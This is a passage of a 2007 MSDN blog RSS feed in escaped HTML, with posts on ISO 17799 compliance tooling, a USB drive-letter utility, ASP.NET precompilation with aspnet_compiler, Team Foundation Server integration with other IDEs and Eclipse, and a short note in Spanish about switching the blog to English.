&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;Compliance&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo10"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol; mso-bidi-font-weight: bold"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Compliance with security policies and standards (A.12.2.1/15.2.1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo10"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Technical compliance checking (A.12.2.2/15.2.2)&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo10"&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: EN-GB; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB; mso-bidi-font-weight: bold"&gt;Control of technical vulnerabilities (12.6.1)&lt;SPAN lang=EN-GB style="FONT-SIZE: 11pt; FONT-FAMILY: 'Arial','sans-serif'; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: navy 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #f0f0f0; WIDTH: 68.18%; PADDING-TOP: 0cm; BORDER-BOTTOM: navy 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid navy .75pt; mso-border-left-alt: solid navy .75pt; mso-border-top-alt: solid navy .75pt" vAlign=top width="68%"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;Technologies such as Group Policy, Windows Rights Management and System Management Server (SMS) provide effective management and enforcement of policy, copyright and licensing requirements.&lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify" mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify"&gt;Microsoft Baseline Security Analyser (MBSA) 2.0 scans business networks for missing security updates and common security misconfigurations and provides remedial advice.. &lt;o:p&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: justify" mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;H3&gt;&lt;THESE I 7799.&lt; AS to reference indicates A. Standards, 17799 ISO and 7799 the in referenced as number control refer numbers&gt;&lt;SPAN lang=EN-GB style="FONT-SIZE: 12pt; mso-bidi-font-family: Arial; mso-ansi-language: EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/H3&gt;&lt;/SPAN&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=2505413" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/Seguridad/">Seguridad</category></item><item><title>USB Pen Drive letter assign problems</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/04/04/usb-pen-driver-letter-assign-problems.aspx</link><pubDate>Wed, 04 Apr 2007 12:50:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:2024748</guid><dc:creator>apinedo</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=2024748</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/04/04/usb-pen-driver-letter-assign-problems.aspx#comments</comments><description>&lt;P&gt;Hi all!!!!&lt;/P&gt;
&lt;P&gt;I have found a huge problem when I try to pick a USB pen drive in my computer when I have network units mapped onto my PC. The problem appears in all operating systems, Windows XP, Windows 2000 also in Windows Vista WOW edition.&lt;/P&gt;
&lt;P&gt;The problem occurs when you put your pen drive in the PC and the SO asign a letter (for example F:) to my pen drive and this letter is already used my my mapped network unit. What must I do, open de Disk Manager and assign another letter that is not in use in my PC. It occurs several times a day, so I lose a lot of time, I have made a lot numbers, and I can give you the number, 1 hour a week, is terrible......&lt;/P&gt;
&lt;P&gt;So I was looking for a solution and I have found a solution for all operating systems, included Windows Vista WOW Edition, &lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;&lt;A href="http://www.uwe-sieber.de/usbdlm_e.html" mce_href="http://www.uwe-sieber.de/usbdlm_e.html"&gt;&lt;FONT face=Calibri size=3&gt;http://www.uwe-sieber.de/usbdlm_e.html&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt" mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;The solution is great, is a service and you can exclude the letters that you think you will use, it is amazing!!!, and also you can force the letter if you want, and make a lot&amp;nbsp; of things.&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt" mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"&gt;Test it guys and it is&amp;nbsp;free....!!!!!&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt" mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=2024748" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/General/">General</category></item><item><title>Precompiled ASP .NET</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/03/15/precompiled-asp-net.aspx</link><pubDate>Thu, 15 Mar 2007 18:27:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:1888021</guid><dc:creator>apinedo</dc:creator><slash:comments>5</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=1888021</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/03/15/precompiled-asp-net.aspx#comments</comments><description>&lt;SPAN class=Article_FullDescription&gt;&amp;nbsp; 
&lt;P&gt;When the first request arrives at your web application there is a mind-numbing amount of work to do. The worker process starts, the runtime initializes, ASPX pages are parsed and compiled to intermediate language, methods are just-in-time compiled to native code - and the list goes on and on. If you want to cut out some of the overhead and improve the startup time of your application, then you’ll want to look at the precompile features in ASP.NET 2.0. &lt;/P&gt;
&lt;P&gt;Although pre-compilation will give our site a performance boost, the difference in speed will only be noticeable during the first request to each folder. Perhaps a more important benefit is the new deployment option made available by the precompile - the option to deploy a site without copying &lt;I&gt;any&lt;/I&gt; of the original source code to the server. This includes the code and markup in aspx, ascx, and master files. &lt;/P&gt;
&lt;P&gt;In this article we will explore the benefits and caveats around pre-compilation and the new aspnet_compiler tool. There are two modes for pre-compilation: in place pre-compilation and pre-compilation for deployment. We will take a look at in place pre-compilation first. &lt;/P&gt;
&lt;H3&gt;In Place Pre-compilation&lt;/H3&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;By default, ASP.NET dynamically parses and compiles all the ASPX pages in a folder when the first request arrives for a page inside that folder. ASP.NET also needs to compile applicable files in the special folders, like App_Code, on the first request, and any code-behind files associated with ASPX and ASCX files. The runtime caches all the compilation results in order to quickly process later requests, and does not need to recompile again unless someone edits a file. This behavior gives us a great deal of flexibility, including the flexibility to change code and markup and instantly have the changes reflected in the next browser request. &lt;/P&gt;
&lt;P&gt;The price for this flexibility is the performance hit on the first request. Some people have found their ASP.NET applications to be slow starters. These people usually work in the sales department and perform software demos in front of customers. In place pre-compilation makes the “first hit” to a web application and forces all pages and code in the application to compile. &lt;/P&gt;
&lt;P&gt;The tool to use for pre-compilation is the aspnet_compiler executable, which you can find in the %WINDIR%\Microsoft.NET\Framework\v2.x.xxxx directory. If we have a web application in the WebSite1 virtual directory under IIS, we could use the following command line to compile the application. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;aspnet_compiler -v /website&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;The –v parameter specifies that we are passing a virtual path to our web site. On servers with multiple websites you may need to use the –m parameter and specify the full IIS metabase path to the application (-m /LM/W3SVC/1/Root/WebSite1). &lt;/P&gt;
&lt;P&gt;The pre-compiled code will end up inside of the Temporary ASP.NET File directory, just as it would when the runtime compiles files for a browser request. Inside of the bin directory for the compiled site, you’ll find the assemblies (dll files). The compiler generates special filenames to avoid naming collisions. In the shot below, the dll starting with App_Code contains the code from the App_Code directory – not too surprising. Each folder containing aspx, or ascx files will compile into a dll prefixed with App_Web. The files with a .compiled extension contain XML with information about which original source code file maps to which assembly.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&lt;IMG style="WIDTH: 802px; HEIGHT: 386px" height=386 src="http://blogs.msdn.com/photos/apinedo/images/1888031/original.aspx" width=802 mce_src="http://blogs.msdn.com/photos/apinedo/images/1888031/original.aspx"&gt;&lt;/P&gt;
&lt;P&gt;With the compiled files in place your web application should have a slightly better startup time, but a primary benefit to in place pre-compilation will be the ability to ensure the web application is error free. If you happen to modify a class or web form and leave an error in the file, the aspnet_compiler will fail and display the compiler error. The tool will also display any warnings, but warning will not stop compilation. &lt;/P&gt;
&lt;H3&gt;Pre-compilation For Deployment&lt;/H3&gt;
&lt;P&gt;Pre-compilation for deployment creates an ‘executable’ (no source code) version of your web application. With pre-compilation for deployment you give the aspnet_compiler the path to your source code, and the path to a target directory for the compilation results, like below. &lt;/P&gt;&lt;PRE&gt;aspnet_compiler -p "C:\MyDevelopment\WebSite1" -v / C:\Staging&lt;/PRE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;This command will compile the site and place the result in C:\Staging. You must still specify –v as a parameter, even though we are not using a virtual path as either a source or a destination. Instead, the compiler will use this parameter to resolve application root references (~). &lt;/P&gt;
&lt;P&gt;The pre-compilation for deployment step will recreate your web site’s folder structure in the destination directory. All of the static files (HTML files, image files, configuration files) are copied into the folder structure exactly as they appear in the source folder hierarchy. A bin directory will appear in the target directory with all of the assemblies and .compiled files. &lt;/P&gt;
&lt;P&gt;The target directory will contain &lt;I&gt;no&lt;/I&gt; source code. All of the classes in the App_Code folder are now compiled into one or more assemblies in the bin directory, and no .cs or .vb files will exist in the target directory. Master page files will also compile to the bin directory and not exist. All the code and markup in ASPX, ASCX, and ASHX files, along with any associated code-behind files, will live inside of one or more assemblies in the bin directory, although these files &lt;I&gt;will&lt;/I&gt; still exist in the target directory, they exist as nearly empty ‘marker’ files. If you open an ASPX file in a pre-compiled target directory you’ll see the following content: &lt;/P&gt;&lt;PRE&gt;This is a marker file generated by the precompilation tool, and should not be deleted!
&lt;/PRE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Note: this behavior is as of beta 2 and may change. The IIS script map for the ASPX file extension&amp;nbsp;leaves the “Verify that file exists” checkbox unchecked, and the site will work without &lt;I&gt;any&lt;/I&gt; of the ASPX files present. There is, however, a problem getting IIS to serve a default document for a directory request unless the file is present.&amp;nbsp; &lt;/P&gt;
&lt;P&gt;Once the application finishes compiling you can FTP or XCOPY the target directory to a web server (or map a virtual directory to the target directory), and the application will be ready to run. A benefit to pre-compilation for deployment is that no one can make changes to the web application by tweaking the source code – no source code exists! In fact, you can’t even place a new ASPX file into the existing application directory structure without causing an error. &lt;/P&gt;
&lt;P&gt;Making a change to your site will require you to make a change in the original source code, pre-compile the application again, and redeploy all files to the server. There is one caveat in this scenario, in that pre-compilation generates unique filenames for some assemblies in the bin folder, and these filenames will change each time the pre-compiler executes. The first time you run aspnet_compiler you might see App_Web_lufhs9vn.dll in the bin directory, the next time you might see App_Web_hviqdkt.dll with the same compiled code, even though no source file has changed. This means you might have unneeded dlls in your bin directory if you keep repeatedly copy files to the server without cleanup.&lt;/P&gt;
&lt;P&gt;More beers for all!!!!&amp;nbsp;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;/SPAN&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=1888021" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/ASP+-NET/">ASP .NET</category></item><item><title>The "lawyer" coding techniques</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/02/14/the-lawyer-coding-techniques.aspx</link><pubDate>Wed, 14 Feb 2007 14:51:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:1676057</guid><dc:creator>apinedo</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=1676057</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/02/14/the-lawyer-coding-techniques.aspx#comments</comments><description>&lt;P&gt;Hi all again!&lt;/P&gt;
&lt;P&gt;During my last visit to the ISU Event (Industry Solutions University), the last day of the event, I had the opportunity to listen one of the speakers to explain the differences between China and India, was brilliant to listen to the interesting explanation on the differences between both countries. &lt;/P&gt;
&lt;P&gt;In order to summarize and from the political point of view, in China, the leaders are all engineers and in India they are all lawyers, and this is the reason Chinese success, and in addition, they are too many!!! (I hope they don't drinking beer never, the beer is mine!!! :-) ). &lt;/P&gt;
&lt;P&gt;The conclusion of this explanation was: the Chinese politicians fix the problems and the Indian politicians nevertheless only limit them, and is right the difference between an engineer and a lawyer. &lt;/P&gt;
&lt;P&gt;I reached the conclusion that nowadays most of people which I have found work to develop Business Solutions, when they found a problem, work like lawyers, work to limit&amp;nbsp;its impact. &lt;/P&gt;
&lt;P&gt;Don't forget, we are engineers, so we would have to work to fix them and not to limit them.&lt;/P&gt;
&lt;P&gt;So guys, don't forget it!!!!, &lt;STRONG&gt;YOU MUST CODE LIKE ENGINEER NOT LIKE LAWYERS&lt;/STRONG&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=1676057" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/General/">General</category></item><item><title>Team Foundation Server MSSCCI Provider for other Developing Enviroments</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/02/07/msscci-provider.aspx</link><pubDate>Wed, 07 Feb 2007 20:04:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:1620602</guid><dc:creator>apinedo</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=1620602</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/02/07/msscci-provider.aspx#comments</comments><description>&lt;P&gt;Hi again!!!&lt;/P&gt;
&lt;P&gt;I have read one of the comments recently about the Team(pri$e) solution, and I have forgot to comment, then next one note. Microsoft has developed a MSSCCI provider in order to use TFS inside other tools like:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Visual Studio .NET 2003&lt;/LI&gt;
&lt;LI&gt;Visual C++ 6 SP6&lt;/LI&gt;
&lt;LI&gt;Visual Visual Basic 6 SP6&lt;/LI&gt;
&lt;LI&gt;Visual FoxPro 9 SP1&lt;/LI&gt;
&lt;LI&gt;Microsoft Access 2003 SP2&lt;/LI&gt;
&lt;LI&gt;SQL Server Management&lt;/LI&gt;
&lt;LI&gt;Enterprise Architect 6.1&lt;/LI&gt;
&lt;LI&gt;PowerBuilder 10.5&lt;/LI&gt;
&lt;LI&gt;Toad for SQL Server 2.0&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;This can be used inside this tools, so you do not need buy TeamPri$e if you need a solution with the list above. Download is available in this &lt;A class="" title="MSSCCI Download" href="http://www.microsoft.com/downloads/details.aspx?FamilyId=87E1FFBD-A484-4C3A-8776-D560AB1E6198&amp;amp;displaylang=en" target=_blank mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyId=87E1FFBD-A484-4C3A-8776-D560AB1E6198&amp;amp;displaylang=en"&gt;link&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Two Beers or not two beers!&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=1620602" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/Visual+Studio+2005/">Visual Studio 2005</category></item><item><title>Eclipse access to Team Foundation Server</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/02/07/eclipse-access-to-team-foundation-server.aspx</link><pubDate>Wed, 07 Feb 2007 14:07:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:1618825</guid><dc:creator>apinedo</dc:creator><slash:comments>9</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=1618825</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/02/07/eclipse-access-to-team-foundation-server.aspx#comments</comments><description>&lt;P&gt;Hi all!&lt;/P&gt;
&lt;P&gt;Actually I was working to give a solution in order to integrate Eclipse (opensource development enviroment) into Team Foundation Server. There is a commercial solution in order to achieve that, the company name is &lt;A class="" title="TeamPrise Eclipse Addin" href="http://www.teamprise.com/download/" target=_blank mce_href="http://www.teamprise.com/download/"&gt;TeamPrise&lt;/A&gt;. &lt;/P&gt;
&lt;P&gt;The focus of the Teamprise Client Suite 2.0 release is to provide full support for the work item tracking features of Visual Studio 2005 Team Foundation Server.&amp;nbsp; Using Teamprise 2.0, users will be able to perform the following operations:&lt;/P&gt;
&lt;UL type=disc&gt;
&lt;LI&gt;Create new work items, such as bugs or tasks 
&lt;LI&gt;Edit existing work items 
&lt;LI&gt;Run work item queries stored on the Team Foundation Server 
&lt;LI&gt;Quick keyword search for particular work items 
&lt;LI&gt;Associate work items with source control check in operations &lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;Teamprise 2.0 also completes its support for the source control features of Team Foundation Server by implementing the following operations:&lt;/P&gt;
&lt;UL type=disc&gt;
&lt;LI&gt;Branch and Merge 
&lt;LI&gt;Label 
&lt;LI&gt;Shelve and Unshelve &lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;Finally, this release adds support for the Team Explorer view of Visual Studio 2005, giving users full access to the Team Foundation Server repository, including:&lt;/P&gt;
&lt;UL type=disc&gt;
&lt;LI&gt;Work Items 
&lt;LI&gt;Documents 
&lt;LI&gt;Reports 
&lt;LI&gt;Source Control&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;The Teamprise applications require:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Team Foundation Server 1.0 
&lt;LI&gt;Java 1.4 or newer 
&lt;LI&gt;The Teamprise Plugin for Eclipse requires Eclipse 3.0-based IDE or newer&amp;nbsp;&amp;nbsp;&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;Then next screenshots show how it works in real live!!!&lt;/P&gt;
&lt;TABLE class="" border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class=""&gt;
&lt;P&gt;&lt;STRONG&gt;Add new WorkSpace&lt;/STRONG&gt;&lt;/P&gt;&lt;IMG title="Add New Workspace" style="WIDTH: 859px; HEIGHT: 618px" height=618 alt="Add New Workspace" src="http://blogs.msdn.com/photos/apinedo/images/1618826/original.aspx" width=859 align=left mce_src="http://blogs.msdn.com/photos/apinedo/images/1618826/original.aspx"&gt; &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=""&gt;
&lt;P mce_keep="true"&gt;&lt;STRONG&gt;Add New WorkSpace Info&lt;/STRONG&gt;&lt;/P&gt;&lt;IMG title="Add New Workspace Info" style="WIDTH: 859px; HEIGHT: 618px" height=618 alt="Add New Workspace Info" src="http://blogs.msdn.com/photos/apinedo/images/1618827/original.aspx" width=859 align=left mce_src="http://blogs.msdn.com/photos/apinedo/images/1618827/original.aspx"&gt; &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=""&gt;
&lt;P mce_keep="true"&gt;&lt;STRONG&gt;Add Work Item&lt;/STRONG&gt;&lt;/P&gt;&lt;IMG title="Add WorkItem" style="WIDTH: 857px; HEIGHT: 610px" height=610 alt="Add WorkItem" src="http://blogs.msdn.com/photos/apinedo/images/1618829/original.aspx" width=857 align=left mce_src="http://blogs.msdn.com/photos/apinedo/images/1618829/original.aspx"&gt; &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=""&gt;
&lt;P mce_keep="true"&gt;&lt;STRONG&gt;Make Shelve&lt;/STRONG&gt;&lt;/P&gt;&lt;IMG title="Make Shelve" style="WIDTH: 853px; HEIGHT: 615px" height=615 alt="Make Shelve" src="http://blogs.msdn.com/photos/apinedo/images/1618830/original.aspx" width=853 align=left mce_src="http://blogs.msdn.com/photos/apinedo/images/1618830/original.aspx"&gt; &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=""&gt;
&lt;P mce_keep="true"&gt;&lt;STRONG&gt;View Report&lt;/STRONG&gt;&lt;/P&gt;&lt;IMG title="View Report" style="WIDTH: 863px; HEIGHT: 609px" height=609 alt="View Report" src="http://blogs.msdn.com/photos/apinedo/images/1618832/original.aspx" width=863 align=left mce_src="http://blogs.msdn.com/photos/apinedo/images/1618832/original.aspx"&gt; &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=""&gt;
&lt;P mce_keep="true"&gt;Also you can find information about the Eclipse integration in Team Foundation Server in the next WebCast, I found very interesting this WebCast, because of the real integration, and the low TCO tool. &lt;A class="" href="http://msevents.microsoft.com/CUI/WebCastEventDetails.aspx?EventID=1032320652&amp;amp;EventCategory=5&amp;amp;culture=en-US&amp;amp;CountryCode=US" target=_blank mce_href="http://msevents.microsoft.com/CUI/WebCastEventDetails.aspx?EventID=1032320652&amp;amp;EventCategory=5&amp;amp;culture=en-US&amp;amp;CountryCode=US"&gt;WebCast: Eclipse Integration with Team Foundation Server&lt;/A&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P mce_keep="true"&gt;Beers for all the IBM baby's&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=1618825" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/Visual+Studio+2005/">Visual Studio 2005</category></item><item><title>Cambio de idioma</title><link>http://blogs.msdn.com/b/apinedo/archive/2007/02/07/cambio-de-idioma.aspx</link><pubDate>Wed, 07 Feb 2007 14:02:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:1618666</guid><dc:creator>apinedo</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/apinedo/rsscomments.aspx?WeblogPostID=1618666</wfw:commentRss><comments>http://blogs.msdn.com/b/apinedo/archive/2007/02/07/cambio-de-idioma.aspx#comments</comments><description>&lt;P&gt;&lt;STRONG&gt;Hola blogeros!&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;He decidido a partir de hoy, publicar mis blogs posts en inglés, ya que la poca gente que visita mi&amp;nbsp;blog así me lo han pedido.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=1618666" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/apinedo/archive/tags/General/">General</category></item></channel></rss>